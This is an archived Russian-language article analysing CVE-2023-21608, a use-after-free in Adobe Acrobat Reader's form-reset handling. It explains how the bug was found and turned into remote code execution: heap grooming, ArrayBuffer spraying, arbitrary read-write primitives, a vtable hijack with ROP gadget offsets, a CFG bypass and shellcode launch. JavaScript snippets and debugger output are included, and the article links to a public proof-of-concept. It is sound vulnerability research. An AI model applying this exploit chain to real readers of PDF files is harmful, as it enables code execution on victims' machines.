CVE-2023-21608 _ Adobe Acrobat Reader RCE разбор уязвимости
📄

CVE-2023-21608 _ Adobe Acrobat Reader RCE разбор уязвимости

⚠️ [ ORIGIN SOURCE ]
https://codeby.net/threads/adobe-acrobat-reader-cve-2023-21608-rce-razbor-ujazvimosti.81587/
📅 [ Archival Date ]
Mar 17, 2023 11:36 PM
🏷️ [ Tags ]
РоссияAcrobatUAFRCE
✍️ [ Author ]

szybnev

💣 [ PoC / Exploit ]
https://crash.software/STRLCPY/CVE-2023-21608

⁉️ Translate this page

image

В этой статье мы рассмотрим, как использовалась уязвимость use-after-free в Adobe Acrobat Reader DC. Ошибка была обнаружена в ходе проекта по фаззингу, направленной на популярные программы для чтения PDF. В итоге была успешно использована уязвимость для удаленного выполнения кода в Adobe Acrobat Reader.

Об уязвимости

Эта уязвимость позволяет удаленно выполнить произвольный код на уязвимых Adobe Acrobat Reader DC. Для использования этой уязвимости требуется взаимодействие с пользователем, т.е. цель должна посетить вредоносную страницу или открыть вредоносный файл.

Конкретный баг был найден в методе resetForm. Уязвимость возникает из-за отсутствия проверки существования объекта перед выполнением операций над ним.

CVE ID

CVE-2023-21608

Vendor

Adobe

Products

  • Acrobat 2020 - 20.005.30418 и более ранние
  • Acrobat Reader 2020 - 20.005.30418 и более ранние
  • Acrobat DC - 22.003.20282и более ранние
  • Acrobat Reader DC - 22.003.20282 и более ранние

Proof of Concept

Пример ниже содержит статическое текстовое поле с именем testField, встроенное в PDF-документ.

5 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (testField)
/FT /Tx
/Rect [0 0 0 0]
>>

Ниже приведена соответствующая часть JavaScript кода, которая вызывает ошибку.

Crash State

Включите функцию page-heap для AcroRd32.exe и откройте файл crash.pdf с помощью программы Acrobat Adobe Reader DC.

eax=04f6a0f0 ebx=00000000 ecx=420fefd0 edx=44e1cff8 esi=6921ef50 edi=420fefd0
eip=6c556b99 esp=04f6a0d0 ebp=04f6a0fc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
AcroForm!CAgg::operator[](unsigned short)+0xe:
6c556b99 8b07            mov     eax,dword ptr [edi]  ds:002b:420fefd0=????????
Примечание: Весь анализ и эксплуатация, описанные в этой заметке, выполнены на Adobe Acrobat Reader DC версии 2022.001.20085 x86.

Stack Trace

Быстрая проверка с помощью команды !heap показывает, что это уязвимость use-after-free.

На данном этапе, имея на руках вышепоказанный анализ, мы решили углубиться в анализ почему эта ошибка возникает и посмотреть, сможем ли мы получить RCE в процессе "песочницы" Adobe Reader.

Анализ причины появления бага

Несколько моментов, которые следует отметить в этом PoC:

  1. Ошибка возникает во время второго вызова resetForm
  2. resetForm вызывает события вычисления для всех полей, если определен дескриптор Calculate.
  3. В дескрипторе Calculate свойство target объекта события переопределяется пользовательской функцией getterFunc.
  4. Внутри этой функции getterFunc свойство textFont поля переопределяется значением объекта doc.
  5. Это приводит к сбою, когда присваивание event.richValue = this выполняется в дескрипторе Calculate.
  6. Сбой можно отследить по стеку вызовов до соответствующей иерархии вызовов.

Ошибка возникает, когда внутри SetRichValueEventProp начинается некая форма объединения значений, которая осуществляет перебор назначенного объекта this, являющегося экземпляром текущего объекта doc. Свойства и методы doc перебираются рекурсивно с помощью EScript!ESObjectEnum, который принимает обратный вызов, где перечисляемые сведения о свойствах передаются из EScript в AcroForm. Обратный вызов AcroForm!EScript_ESObjectEnum_CallbackProc запускается для каждого из перебираемых свойств. Когда page-heap включен, сбой происходит в _DWORD *__thiscall std::map<unsigned short,CAgg>::lower_bound(TREE_VAL *this, _DWORD *a2, unsigned __int16 *a3) при разыменовании указателя, который является объектом std::map в текущем контексте.

DWORD *__thiscall std::map<unsigned short,CAgg>::lower_bound(TREE_VAL *this, _DWORD *a2, unsigned __int16 *a3)
{
  TREE_NODE *Myhead; // eax
  TREE_NODE *Parent; // ecx
  unsigned __int16 v5; // si
  int v6; // eax

  Myhead = this->_Myhead;  // crash location - page-heaps enabled
  Parent = this->_Myhead->_Parent;
  ...
}

После проверки вызывающей функции выяснилось, что функция int __thiscall std::map<unsigned short,CAgg>::operator[](TREE_VAL *this, int a2, unsigned __int16 *pSomeID) отвечает за вставку значения в соответствующую std::map.

Приведенный выше код показывает, что при вставке значения в std::map создается новый аллокатор CAgg. Тестирование с помощью heap grooming и трюка .dvalloc показало, что функция std::map<unsigned short,CAgg>::insert также позволяет произвольную запись по выбранному адресу. Используя heap grooming, можно получить контроль над поврежденным указателем std::map, используемым в этом контексте, что дает возможность дальнейшей эксплуатации.

Используя произвольную запись, можно нарушить длину ArrayBuffer и получить возможность чтения-записи out-of-bounds. Это позволяет читать условные данные из или записывать в места памяти, выходящие за границы ArrayBuffer. Дальнейшее расследование того, как была повреждена карта, показало, что функция AcroForm!CAgg:perator[](unsigned short) вызывала std::map<unsigned short,CAgg>:perator[] с this->map. При исследовании объекта CAgg в отладчике было обнаружено, что он был освобожден и теперь контролируется пользователем. Это открывало возможность для дальнейшей эксплуатации уязвимости.

Хотя на поврежденном объекте CAgg не было очевидных примитивов, можно было прочитать его тип с помощью this->type. Функция CAgg::operator[] была вызвана из EScript_ESObjectEnum_CallbackProc, которая запускается для каждого свойства, перечисляемого EScript!ESEnumObject. Это дало некоторое представление о том, как объект был поврежден и потенциально может быть использован.

В данном сценарии у нас возникла проблема с объектом pCagg. Этот объект уже был освобожден, но он все еще используется в функции обратного вызова EScript_ESObjectEnum_CallbackProc, где он передается в функцию ESValToCAgg.

Примечание: Эта функция является рекурсивной, поэтому проблема повторяется снова и снова.

Наш анализ показывает, что объекты CAgg выделяются внутри функции std::map<unsigned short,CAgg>::operator[] во время каждого перебора свойств при установке свойства richValue. Однако в процессе resetForm свойство event.target отлавливается с помощью __defineGetter__. Эта функция вызывается во время рекурсивного перебора свойств объекта doc. Когда происходит обращение к свойству target, вызывается функция getterFunc, которая переопределяет свойство textFont поля как объект doc. Это также устанавливает его non-configurable и non-enumerable.

Во время второго resetForm повторяется тот же процесс, но при повторном вызове getterFunc возникает исключение, поскольку свойство field.textFont теперь неконфигурируемо. Это вызывает другой путь при доступе к свойству event.richValue, который освобождает все объекты CAgg, которые были построены до сих пор. Путь освобождения кода вызывается, пока еще идет перечисление объектов, а когда оно завершается, запускается использование освобожденного объекта CAgg.

Вышеизложенную гипотезу можно проверить с помощью отладчика, установив следующие брейкпоинты в WinDbg.

Ниже приведен результат вывода трассировки из указанных брейкпоинтов.

В отладчике мы видим поврежденный объект std::map pData: d41d0fd0, который является частью освобожденного объекта CAgg, выделенного во время перечисления свойства textFont alloc: d41d0fb8 Когда реализуется путь свободного кода, все объекты и объекты карты освобождаются. Позже к этому же указателю обращаются при обработке перечисления свойств richValue, что приводит к возникновению условия use-after-free.

Примечание: Во время тестирования для контроля условия use-after-free мы не нашли путей кода, которые позволили бы нам перераспределить освобожденную память таким образом, чтобы это можно было использовать.

Однако мы обнаружили, что определенные размеры объектов могут привести к сбою Adobe Acrobat Reader при разыменовании распыленного шаблона, что дает нам возможность использовать ошибку для удаленного выполнения кода (RCE).

Heap Grooming

При помощи аллокации кучи с объектом размером 68 мы смогли контролировать сбой. Размер разрушающегося объекта был первоначально найден методом перебора. Примечание: grooming был выполнен до того, как сработал UaF. Мы вернемся к этому позже.

eax=04b7a854 ebx=04b7a8b4 ecx=42424141 edx=4e4e4d4d esi=6921ef50 edi=42424141
eip=6c3695af esp=04b7a838 ebp=04b7a838 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010212
AcroForm!CAgg::operator[](unsigned short)+0x3:
6c3695af 8b01            mov     eax,dword ptr [ecx]  ds:002b:42424141=????????

В функции crashing мы видим, что значение, управляемое пользователем, разыменовывается. Источник аллокации можно проверить в WinDbg, как показано ниже.

При дальнейшем изучении того, что вызывало контролируемый сбой в качестве heap-grooming до срабатывания ошибки, мы заметили, что массив распыленных строковых объектов также используется во время агрегации, когда выполняется resetForm. Внутри CAggToESVal, когда тип объекта - строка, срабатывает следующий код, который создает новую строку из CAgg.

Важной деталью, которую следует отметить, является вызов EScript!ESValSetString для создания нового содержимого строки из строкового объекта CAgg (которые являются нашими распыленными строковыми объектами). ESValSetString вызывает sub_1003EBD2 для создания строки с заданным содержимым, который далее отвечает за выделение буфера кучи длиной в строку и копирование в него содержимого исходной строки.

В приведенном выше коде JS_malloc_Wrapper перераспределяет освобожденный буфер CAgg при обработке большого количества строк, позволяя нам перераспределить буфер с данными, управляемыми пользователем. Когда этот распыленный буфер позже используется в функциях CAgg::*, это приводит к сбою при разыменовании данных, управляемых пользователем.

Внутренние компоненты SpiderMonkey в EScript.API

Spidermonkey в Firefox - это JavaScript-движок, используемый в Adobe Reader через плагин EScript.API для обработки JavaScript, встроенного в PDF-файлы. Чтобы эффективно использовать эту ошибку, нам необходимо понять, как объекты JavaScript реализованы в Spidermonkey и как организована их память.

  1. Double хранятся в полном 64-битном значении IEEE-754.
  2. Другие jsval, такие как числа, строки, объекты и т.д. используют 32-бит для маркировки типа и 32-бит для хранения фактического значения (или указателя на объект).

ArrayBuffer

Мы будем использовать ArrayBuffer для распыления управляемых пользователем данных по предсказуемым адресам и искажения длины произвольно большим целым значением для получения out-of-bounds read-write примитивов. Давайте посмотрим, как он представлен в памяти. Реализация ArrayBuffer имеет 0x10 байт заголовок + содержимое, равному указанному размеру.

  1. Длина хранится по адресу 0x4
  2. Если инициализируется массив TypedArray, то по адресу 0x8 находится указатель на массив TypedArray.
  3. Наконец, у вас есть фактические данные, управляемые пользователем

В EScript.api функция sub_10131A2C отвечает за выделение ArrayBuffer указанной длины. Если размер ArrayBuffer меньше 0x68, то для хранения данных используется встроенное представление. В противном случае создается блок памяти указанного размера и заполняется нулями.

Массив

var a = new Array();
a[0] = 0x41424142
a[1] = 0x55555555;
a[2] = "javascript";
a[3] = {};

Мы будем использовать Array для достижения примитива addrOf (адрес). Ниже приведено представление массива JavaScript в памяти.

sub_1004DBA9 в EScript.api отвечает за создание массивов и может отслеживаться при распылении массивов. Содержимое массива организовано в памяти в виде кортежа (тег, значение), где тег используется для идентификации типа, связанного со значением.

Например:

Number - ffffff81
String - ffffff85
Object - ffffff87

Когда у нас есть out-of-bounds к ArrayBuffer, мы можем распылить большой массив JavaScript сразу после ArrayBuffer и использовать out-of-bounds примитив для чтения адреса любого произвольного объекта JavaScript. Мы можем увидеть, как наша строка представлена в памяти, сделав дамп памяти указателя выше.

Далее, в процессе эксплуатации, мы будем создавать поддельные строки с помощью ArrayBuffer и использовать одну из распыленных поддельных строк для чтения произвольного содержимого памяти, добиваясь временного примитива произвольного чтения.

Эксплуатация

Использовали .dvalloc, чтобы проверить, есть ли у нас контролируемые сбои при чтении-записи или сбои при вызове произвольного указателя виртуальной функции. Мы обнаружили сбой, который приводит к произвольной записи на нашем контролируемом адресе. *(*ecx) = some_32_value, где ecx - указатель, управляемый пользователем.

Стратегия

  1. Распылите ArrayBuffer, чтобы получить распределение по предсказуемому адресу, например 0x20000048
  2. Grom LFH с нашим заданным шаблоном для повреждения ArrayBuffer по предсказуемому адресу
  3. Спровоцировать уязвимость, чтобы использовать освобожденный буфер и повредить длину ArrayBuffer
  4. Используйте поврежденный ArrayBuffer для создания поддельной строки, чтобы достичь произвольного примитива чтения
  5. Используйте произвольное чтение из поддельной строки для создания поддельного DataView для достижения произвольных примитивов чтения-записи
  6. Повредить виртуальную таблицу поля, чтобы перехватить управление выполнением
  7. Обход CFG
  8. Выполнение шеллкода
  9. Восстановление поврежденных объектов и чистое восстановление

Spraying ArrayBuffer

var SPRAY = [];

for(var i=0; i<0x2000; i++) {
  SPRAY[i] = new ArrayBuffer(0x10000-24);
  const typedArray = new Uint32Array(SPRAY[i]);
  typedArray[0] = 0x41424344;
  typedArray[1] = 0x41424344;
}

Используя приведенный выше сценарий, мы можем выделить ArrayBuffer по предсказуемому адресу, например 0x20000058.

Нахождение ArrayBuffer

Используя magic markers, мы можем найти буфер в куче памяти, что поможет найти конструктор, выделяющий ArrayBuffer в Adobe Reader.

Примечание: Аллокация ArrayBuffer происходит в коде EScript.api.

Например, при выделении ArrayBuffer размером 0x1020 поиск в памяти magic marker и определение того, кто выделил память, может помочь нам найти конструктор ArrayBuffer.

Проверка резервной памяти ArrayBuffer (чанк буфера массива + размер заголовка (0x10)).

Используя брейкпоинты WinDbg в коде конструктора, мы можем найти адреса, по которым выделяется ArrayBuffer.

bp Escript+0x131a4e ".printf \"[ArrayBuffer alloc] %p \\n\", eax; gc"

Теперь давайте посмотрим, как выглядит фактический спрей ArrayBuffer в эксплойте.

Аллокация ArrayBuffer по предсказуемому адресу 0x20000048 прошло успешно

Используя heap grooming с нашим предсказуемым шаблоном адреса и запустив уязвимость, мы видим, что длина ArrayBuffer повреждена/изменена.

Длина ArrayBuffer искажается значением указателя, что позволяет осуществлять out-of-bounds read-write вне границ кучи. Как только уязвимость сработает, поврежденный ArrayBuffer можно найти с помощью приведенного ниже кода.

for (var i=0; i<bufs.length; i++)
{
  if (bufs[i].byteLength != ALLOC_SIZE)
  {
    console.println("[+] corrupted array buffer found at " + i + " : length: " + bufs[i].byteLength + " : buf length: " + bufs.length);
    ...
  }
}

Out-of-bounds to Arbitrary Read-Write Primitives

После достижения out-of-bounds read-write примитивов на ArrayBuffer, второй JavaScript Array используется для создания примитива addrOf. Чтобы иметь возможность чтения-записи из Array, набор массивов длиной, аналогичной ArrayBuffer, распыляется таким образом, чтобы выделение массива происходило сразу после распыления ArrayBuffer, как показано ниже.

-------------------------------------------------------------------------------
|        |        |        |         |        |   |       |       |   |       |
|arrbuf_1|arrbuf_2|arrbuf_3|.........|arrbuf_n|...|array_1|array_2|...|array_n|
|        |        |        |         |        |   |       |       |   |       |
-------------------------------------------------------------------------------

Имея out-of-bounds доступ к ArrayBuffer, мы можем найти начало первого массива и использовать его для дальнейшего создания другого набора примитивов.

  1. addrOf - адрес утечки любого объекта JavaScript
  2. poi - утечка значения по заданному адресу (эта начальная форма AAR необходима для создания полного AAR/AAW)
  3. AAR - чтение произвольного значения по заданному адресу
  4. AAW - запись значения по заданному адресу

Spraying large Array

  1. Нам нужно выделить несколько больших Array сразу после нашего распыленного ArrayBuffer
  2. После повреждения длины буфера ArrayBuffer мы можем определить местоположение этого массива и повреждать соседний массив для произвольных чтения-записи примитивов
  3. Однако перераспределение массива JavaScript, похоже, растет по определенной схеме, когда мы пытались добавить в массив большие элементы в цикле
for(var k = 0; k<N; k++) {
  _arr_.push(0x41414141);
}

После некоторого тестирования мы заметили, что длительность перераспределения можно частично контролировать путем аллокации массива с начальным содержимым.

// initial contents are ajusted after testing few iterations
// to be maximum enough to be allocated just after sprayed ArrayBuffer
var _arr_ = new Array(1, 2, 3, 4);

Controlled Array Spraying

  1. Массив с инициализатором должен начинаться с аллокаци 0x003f0
  2. Далее, инициализация элементов внутри цикла for должна увеличить размер распределения с помощью reallocs
  3. Увеличение длины массива происходит так: 0x003f0 -> 0x007d0 -> 0x00f90 -> 0x01f10 -> 0x03e10 -> 0x07c10 -> 0x0f810
  4. Повторная аллокация с размером 0x0f810 должны поместить аллокацию массива сразу после последнего ArrayBuffer из нашего спрея
  5. Когда мы читаем out-of-bound из поврежденного ArrayBuffer, мы должны иметь возможность прочитать содержимое распыленного массива

Окончательная аллокация массива должно выглядеть так, как показано ниже.

Где 0db3c420 ffffff85 - targetStr, а 0dda27c0 ffffff87 - targetDataView.

addrOf Primitive

Примитив addrOf приводит к утечке адреса любого объекта JavaScript путем чтения адреса объекта, хранящегося в распыленном Array, используя примитивы, выходящие за границы. CorruptedTypedArr - это типизированный массив с поврежденной длиной ArrayBuffer, а arrStart - это индекс, в котором находится JavaScript Array от начала поврежденного ArrayBuffer. modified_arr - это массив JavaScript из распыленных массивов, который мы будем использовать для искажения и утечки адресов.

function addrOf(obj)
{
  modified_arr[0] = obj;
  addr = corruptedTypedArr[arrStart+4];
  return addr;
}

Temporary Arbitrary Read Primitive

Примитив poi позволяет нам прочитать значение по произвольному адресу. Чтобы получить примитив poi, нужно выполнить несколько шагов:

  1. Аллоцируйте строку в глобальной области видимости, например var targetStr = "Hello";
  2. Распылите вышеуказанный строковый объект как элемент в распыленных массивах arrs[i][1] = targetStr;
  3. Распыление поддельной строковой структуры внутри распыленного ArrayBuffer
uintArr[FAKE_STR_START] = 0x102; //
typeuintArr[FAKE_STR_START+1] = arrBufPtr+0x40; // buffer

4.После достижения out-of-bounds примитивов мы присваиваем фальшивой строке адрес объекта распыленной строки из массива uintArr[arrStart+6] = FAKE_STR;. 5. Теперь targetStr, который был распылен вместе с Array, можно спутать с поддельной струной. 6. Чтение значений с заданного произвольного адреса достигается путем установки addr на указатель буфера поддельной строки, а затем обычного чтения объекта targetStr нашего модифицированного массива. Это позволит нам считывать значения с произвольных адресов.

function s2h(s) {
  var n1 = s.charCodeAt(0)
  var n2 = s.charCodeAt(1)
  return ((n2<<16) | n1) >>> 0
}

function poi(addr)
{
  // leak values at addr by setting it to string pointer
  corruptedTypedArr[FAKE_STR_START+1] = addr;
  val = s2h(modified_arr[1]);
  return val;
}

Arbitrary Read-Write Primitives

Как только мы достигнем out-of-bounds чтения-записи в ArrayBuffer, мы можем использовать примитивы addrOf и poi для выполнения произвольного чтения. Используя эти примитивы, мы можем получить полные произвольные примитивы чтения-записи, используя объект JavaScript DataView. Чтобы создать произвольные примитивы чтения-записи с помощью объекта DataView, мы можем выполнить следующие шаги:

  • Создайте объект DataView с валидным ArrayBuffer и установите для него начальное значение:
var targetDV  = new DataView(new ArrayBuffer(0x64));
targetDV.setUint32(0, 0x55555555, true);
  • Распылите объект targetDV как элемент в массиве распыленных массивов:
for (var i=0; i<0x10; i++)
{
  ...
  arrs[i][2] = targetDV;
  ...
}
  • Создайте поддельный объект DataView путем распыления ArrayBuffer и установки значения magic number в начале распыления.
uintArr[FAKE_DV_START] = 0x77777777;
  • После достижения out-of-bounds примитивов, присвойте поддельный объект DataView адресу распыленного объекта DataView.
uintArr[arrStart + 8] = FAKE_DV;
  • Клонируйте содержимое валидного объекта DataView в поддельный DataView, используя ранее созданные примитивы.
var targetDVPtr = addrOf(targetDV);

for (var k=0; k<32; k++)
{
  corruptedTypedArr[FAKE_DV_START + k] = poi(targetDVPtr + (k * 4));
}
  • Наконец, для выполнения произвольного чтения-записи установите поддельный указатель ArrayBuffer объекта DataView и выполняйте чтение/запись из объекта DataView.
function AAR(addr)
{
  corruptedTypedArr[FAKE_DV_START + 20] = addr;
  return modified_arr[2].getUint32(0, true);
}

function AAW(addr, value)
{
  corruptedTypedArr[FAKE_DV_START + 20] = addr;
  modified_arr[2].setUint32(0, value, true);
}

Запуск shellcode'а

Для выполнения шеллкода мы используем примитивы произвольного чтения-записи (AAR/AAW), чтобы обойти ASLR и CFG. Действовать нужно следующим образом:

  • Обойти ASLR путем утечки базового адреса AcroForm.api из объекта поля
var AcroFormApiBase = AAR(AAR(addrOf(testField) + 0x10) + 0x34) - 0x00293fe0
  • Утечка адреса поля vtable
var fieldVtblAddr = AAR(AAR(AAR(AAR(addrOf(testField) + 0x10) + 0x10) + 0xc) + 4)
var fieldVtbl = AAR(fieldVtblAddr)
  • Клонируем vtable в кучу (клонирование необходимо, так как у нас нет разрешения на запись по адресу vtable). Мы клонируем ее на выбранный нами адрес кучи (выбранный из спрея ArrayBuffer) и производим дальнейшие модификации там.
for(var i=0; i < 32; i++) {
  AAW(arrBufPtr + 0x100 + (i * 4), AAR(fieldVtbl + i * 4));
}
  • Выполните stack pivoting в нашу контролируемую кучу для выполнения шеллкода. Мы подготовим фальшивый стек на куче с необходимыми деталями, как показано ниже:
AAW(arrBufPtr+0x100+0x48, AcroFormApiBase+0x6faa60);  // CFG gadget = AcroForm!sub_20EFAA60;
AAW(arrBufPtr+0x100+0x30, AcroFormApiBase+0x256984);  // 0x6b5e6984: mov esp, eax; dec ecx; ret;
AAW(arrBufPtr+0x100, AcroFormApiBase+0x1e646);        // 0x6b3ae646: pop esp; ret;
AAW(arrBufPtr+0x100+4, arrBufPtr+0x300);              // our pivoted stack
AAW(fieldVtblAddr, arrBufPtr+0x100);                  // field vtable
  • Установите ROP и выполните шеллкод
  • Наконец, вызовите шеллкод, обратившись к свойству defaultValue объекта testField.
var ret = testField.defaultValue;

Control Flow Guard (CFG) Bypass

В Adobe Acrobat Reader по умолчанию включен CFG, поэтому невозможно вызвать шеллкод напрямую. Предыдущие версии эксплойтов полагались на использование не CFG модулей в Adobe Reader для создания цепочки ROP, но в новых версиях все модули включены в CFG.

Один из способов обойти это - использовать call sites, не оснащенные CFG. В Adobe Acrobat Reader мы обнаружили несколько не CFG-инструментированных call sites, которые можно использовать для обхода CFG. Одной из таких функций является sub_20EFAA60, которая позволяет нам вызвать адрес, который мы контролируем, сохраняя его в регистре ecx.

Это может быть использовано для управления выполнением программы и выполнения шеллкода.

Context Restoration and Recovery

После выполнения шеллкода программа Acrobat Reader завершает работу, поскольку соответствующий контекст не был восстановлен. Чтобы Adobe Acrobat Reader продолжал работать после эксплуатации, важно восстановить этот контекст. Это включает в себя несколько этапов:

  1. Восстановление targetStr и targetDV с помощью поддельной строки и DataView, которые были созданы ранее
  2. Восстановление исходной таблицы vtable, которая была захвачена для выполнения кода
  3. Исправление любых повреждений, вызванных повреждением ArrayBuffer, и других побочных эффектов этого повреждения
  4. Восстановление стека (это делается в части восстановления шеллкода)
  5. Восстановление ESP до значения по умолчанию (это также делается в части восстановления шеллкода)
  6. Резервное копирование исходных значений до повреждения, чтобы их можно было восстановить после выполнения шеллкода (это показано в приведенном ниже фрагменте)

В приведенном ниже фрагменте показано, как некоторые из исходных значений резервируются перед повреждением, чтобы их можно было восстановить после выполнения шеллкода.

Exploit Log

64-bit Exploitation

Уязвимость CVE-2023-21608 также затрагивала 64-битную версию Adobe Reader. Оценили возможность эксплуатации этой ошибки на 64-битной версии. Однако мы столкнулись с двумя серьезными препятствиями:

  1. Распыление кучи больше невозможно в 64-битном адресном пространстве. Следовательно, мы больше не можем полагаться на технику распыления ArrayBuffer, описанную выше, для выделения управляемых данных по предсказуемым адресам. Теперь нам нужен отдельный баг info-leak для дальнейшей эксплуатации.
  2. Но найти утечку информации - задача несложная. Основная проблема, которая делает этот баг бесполезным для 64-битной эксплуатации, заключается в том, что распыленные строки используются в качестве объектов агрегации, где из распыленной строки создаются новые строки. При создании новой строки учитываются стандартные нулевые терминаторы языка Си. Мы не можем использовать адреса, в которых есть два последовательных байта NULL. Это остановит копирование строки, и мы никогда не сможем перераспределить освободившуюся память с контролируемым куском, в котором есть адрес утечки ArrayBuffer. Ошибка больше не будет эффективной и воспроизводимой. Это ограничивает нас от возможности эксплуатации этой ошибки на 64-битной версии.

POC

STRLCPY/CVE-2023-21608

https://github.com/hacksysteam/CVE-2023-21608

STRLCPY/CVE-2023-21608

Demo​